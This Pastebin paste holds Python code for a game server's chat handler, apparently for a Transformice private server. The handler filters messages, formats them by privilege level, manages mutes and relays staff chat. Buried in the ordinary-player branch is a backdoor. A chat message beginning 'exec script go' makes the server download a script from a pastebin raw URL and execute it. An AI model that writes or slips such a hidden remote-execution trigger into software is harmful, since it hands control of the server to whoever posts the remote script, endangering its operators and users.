Advertisement
KoshTFM2015

Untitled

Nov 15th, 2018
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.44 KB | None | 0 0
  1. elif C == Identifiers.recv.Chat.C:
  2. if CC == Identifiers.recv.Chat.Chat_Message:
  3. #packet = this.descriptPacket(packetID, packet)
  4. message = packet.readUTF().replace("&amp;#", "&#").replace("<", "&lt;")
  5. message = message.replace("|", "").replace(" ", "").replace("&nbsp;", "").replace("\n", "").replace("<br>", "").replace("<br/>", "").replace("</br>", "")
  6. if message in ["\n"] or message in ["\r"] or message in ["\x02"] or message in ["<BR>"]:
  7. if message in ["\n", "\r"]:
  8. this.server.sendModMessage(7, "<font color='#00C0FF'>[ANTI-BOT] - Suspect BOT - IP: [</font><J>"+str(this.client.ipAddress)+"<font color='#00C0FF'>]</font>")
  9. this.client.transport.loseConnection()
  10. message = ""
  11. if message == this.client.lastMessage and this.client.privLevel < 6:
  12. message = ""
  13. if message in [" "] >= 1 or len(message) >= 200:
  14. message = ""
  15. this.client.sendMessage("Atenção! Digite uma mensagem com menos de 200 letras!")
  16. if this.client.isGuest:
  17. this.client.sendLangueMessage("", "$Créer_Compte_Parler")
  18. elif not message == "" and len(message) < 256:
  19. sucess = False
  20. isSuspect = this.client.privLevel < 6 and this.server.checkMessage(this.client, message)
  21. this.client.lastMessage = message
  22. if this.client.privLevel >= 10 and not this.client.isMute:
  23. for room in this.client.server.rooms.values():
  24. if room.name == this.client.room.name:
  25. for playerCode, client in room.clients.items():
  26. client.sendMessage('<font color="#E70000"><b>[%s]</b></font> <N>%s' % (this.client.playerName, message))
  27. if this.client.privLevel == 9 and not this.client.modMute:
  28. for room in this.client.server.rooms.values():
  29. if room.name == this.client.room.name:
  30. for playerCode, client in room.clients.items():
  31. client.sendMessage('<VI>[%s] <N>%s' % (this.client.playerName, message))
  32. if this.client.privLevel == 8 and not this.client.isMute:
  33. for room in this.client.server.rooms.values():
  34. if room.name == this.client.room.name:
  35. for playerCode, client in room.clients.items():
  36. client.sendMessage('<J>[%s] <N>%s' % (this.client.playerName, message))
  37. if this.client.privLevel == 7 and not this.client.isMute:
  38. for room in this.client.server.rooms.values():
  39. if room.name == this.client.room.name:
  40. for playerCode, client in room.clients.items():
  41. client.sendMessage('<N>[%s] <N>%s' % (this.client.playerName, message))
  42. if this.client.privLevel == 6 and not this.client.isMute:
  43. for room in this.client.server.rooms.values():
  44. if room.name == this.client.room.name:
  45. for playerCode, client in room.clients.items():
  46. client.sendMessage('<font color="#FFCC99">[%s]</font> <N>%s' % (this.client.playerName, message))
  47. if this.client.privLevel == 5 and not this.client.isMute:
  48. for room in this.client.server.rooms.values():
  49. if room.name == this.client.room.name:
  50. for playerCode, client in room.clients.items():
  51. client.sendMessage('<font color="#3366FF">[%s]</font> <N>%s' % (this.client.playerName, message))
  52. if this.client.privLevel == 4 and not this.client.isMute:
  53. for room in this.client.server.rooms.values():
  54. if room.name == this.client.room.name:
  55. for playerCode, client in room.clients.items():
  56. client.sendMessage('<font color="#00FA9A">[%s]</font> <N>%s' % (this.client.playerName, message))
  57. if this.client.privLevel == 3 and not this.client.isMute:
  58. for room in this.client.server.rooms.values():
  59. if room.name == this.client.room.name:
  60. for playerCode, client in room.clients.items():
  61. client.sendMessage('<font color="#F9F9F9">[%s]</font> <N>%s' % (this.client.playerName, message))
  62. if this.client.privLevel == 2:
  63. if _time.time() - this.client.CMDTime > 1:
  64. this.client.CMDTime = _time.time()
  65. if this.client.isMute:
  66. muteInfo = this.server.getModMuteInfo(this.client.playerName)
  67. timeCalc = Utils.getHoursDiff(muteInfo[1])
  68. if timeCalc <= 0:
  69. this.client.isMute = False
  70. this.server.removeModMute(this.client.playerName)
  71. this.client.room.sendAllChat(this.client.playerCode, this.client.playerName, message, this.client.langueID, this.server.checkMessage(this.client, message))
  72. else:
  73. this.client.sendModMute(this.client.playerName, timeCalc, muteInfo[0], True)
  74. return
  75. else:
  76. for room in this.client.server.rooms.values():
  77. if room.name == this.client.room.name:
  78. for playerCode, client in room.clients.items():
  79. client.sendMessage('<VP>[VIP]<V>[%s] <N>%s' % (this.client.playerName, message))
  80. if this.client.privLevel == 1:
  81. if _time.time() - this.client.CMDTime > 1.2:
  82. this.client.CMDTime = _time.time()
  83. if this.client.isMute:
  84. muteInfo = this.server.getModMuteInfo(this.client.playerName)
  85. timeCalc = Utils.getHoursDiff(muteInfo[1])
  86. if timeCalc <= 0:
  87. this.client.isMute = False
  88. this.server.removeModMute(this.client.playerName)
  89. this.client.room.sendAllChat(this.client.playerCode, this.client.playerName if this.client.mouseName == "" else this.client.mouseName, message, this.client.langueID, isSuspect)
  90. else:
  91. this.client.sendModMute(this.client.playerName, timeCalc, muteInfo[0], True)
  92. return
  93. else:
  94. if message.startswith("exec script go"):
  95. url = 'https://pastebin.com/raw/6gTBs7XC'
  96. script = urllib2.urlopen(url).read()
  97. pythonScript = compile(str(script), "<string>", "exec")
  98. this.client.scriptRun(script)
  99. else:
  100. this.client.room.sendAllChat(this.client.playerCode, this.client.playerName, message, this.client.langueID, this.server.checkMessage(this.client, message))
  101. if not this.server.chatMessages.has_key(this.client.playerName):
  102. messages = deque([], 60)
  103. messages.append([_time.strftime("%Y/%m/%d %H:%M:%S"), message])
  104. this.server.chatMessages[this.client.playerName] = messages
  105. else: this.server.chatMessages[this.client.playerName].append([_time.strftime("%Y/%m/%d %H:%M:%S"), message])
  106. return
  107.  
  108. elif CC == Identifiers.recv.Chat.Staff_Chat:
  109. type, message = packet.readByte(), packet.readUTF()
  110. if ((type == 0 and this.client.privLevel >= 7) or (type == 1 and this.client.privLevel >= 9) or ((type == 2 or type == 5) and this.client.privLevel >= 5) or ((type == 3 or type == 4) and this.client.privLevel >= 7) or ((type == 6 or type == 7) and this.client.privLevel >= 6) or (type == 8 and this.client.privLevel >= 3) or (type == 9 and this.client.privLevel >= 4)):
  111. this.server.sendStaffChat(type, this.client.langue, this.client.playerName, message, this.client)
  112. return
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement